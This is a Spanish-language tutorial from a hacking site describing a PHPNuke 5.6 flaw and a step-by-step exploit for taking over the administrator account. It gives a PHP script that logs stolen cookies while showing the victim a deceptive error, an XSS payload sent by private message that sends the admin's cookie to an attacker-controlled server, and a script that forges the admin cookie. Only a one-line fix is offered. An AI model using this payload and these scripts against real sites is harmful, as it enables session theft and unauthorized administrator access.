11 - Bugs y Como explotarlos
[ NovaHack ]
En esta nueva seccion ire poniendo los bugs que aparezcan en NovaHack la web que administro: http://www.novahack.com les recuerdo que estos bugs yo no fui el que los descubrio, a eso se dedican grupos de seguridad informatica, esto es tomado de la red.
Antes que nada ¿que es un bug? Un bug es un error en un sistema, programa etc. Y un exploit es la manera en que se puede aprovechar ese bug para cierto objetivo.
NovaHack ni CyruxNET se hacen responsables del mal uso de esta informacion.
Fallo en PHPNuke que permite conseguir acceso de administrador
Versiones afectadas: PHPNuke 5.6, y posiblemente las anteriores.
En las versiones anteriores, mediante un ataque de XSS era posible hacerse con la cookie del administrador, en la que se encontraba el passwod codificado en base 64, por lo que era trivial decodifiarlo.
A partir de la versión 5.6 los passwords están codificados con MD5.
Cuando el usuario se autentifica, el PHPNuke convierte el password a MD5 y conprueba que concuerde con el que tiene almacenado en su base de datos. Pero esto no arregla en problema, porque se puede utilizar el password en MD5 sacado de una cookie robada para autentificarse.
En realidad en PHPNuke crea una cookie codificando en base 64 una linea como esta:
usuario:pass_en_MD5:lenguaje
Una vez que se tiene ese pass en MD5 lo único que hay que hacer es colocarlo en una cadena como la anterior, codificar la cadena en base64 y colocarla en una cookie en mi propia máquia.
Exploit
Para este exploit debemos crear los siguientes archivos en un servidor web:
El archivo cookie.php que contiene lo siguiente:
$fp = fopen("cookie.txt","a");
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* Esto es sólo para que el admin no sospeche */
?>
(como ves debes crear tambiÈn un archivo llamado cookie.txt)
y el archivo test.php que contiene:
$admin = base64_encode("cadena") ;
setcookie("admin","$admin",time()+2592000);
?>
(despuÈs sustituiremos "cadena" por otra cosa.
1∫ Se le manda al admin un mensaje privado que contenga:
document.location.replace('http://yourserver/cookie.php?cookie='+document.cookie);
2∫ Se espera a que el admin lea el mensaje, y despues se mira el archivo cookie.txt que habÌamos creado en nuestro server.
3∫ Copia la cadena que aparece en el cookie.txt entre "admin=" y ":"
4∫ Ahora hay que decodificar ese código, poruqe está en base64, para ello puedes utilizar un programa adecuado o visitar http://www.isecurelabs.com/base64.php
Una vez decodificado deberÌas tener una cadena como Èsta:
usuario:pass_en_MD5:lenguaje
5∫ Ahora hay que crear una cookie con lo conseguido, para ello se utiliza el test.php sustituyendo lo que tenemos por la palable "cadena", asÌ:
$admin = base64_encode("usuario:pass_en_MD5:lenguaje");
setcookie("admin","$admin",time()+2592000);
?>
6∫ Para que esa cookie se cree en nuestra máquina hay que visitar la web objetivo (la que tiene el PHPNuke vulnerable) y autentificarse como un usuario cualquiera.
7∫ Una vez dentro hay que mandarse un mansaje privado a uno mismo con el siguiente contenido: Se abre el mensaje y la cookie, si todo ha ido bien aparecerá en nuestra máquina, pero con la dirección de nuestro server, de modo que debemos cambiarle la URL por la del objetivo.
8∫ Sólo queda reiniciar el navegador (cerrarlo y abrirlo) y vilver al sitio objetivo, y ya está, verás que estás autentificado como admin.
Solución:
Atualizar a una versión mas nueva de PHPNuke.
Texto por CyruxNET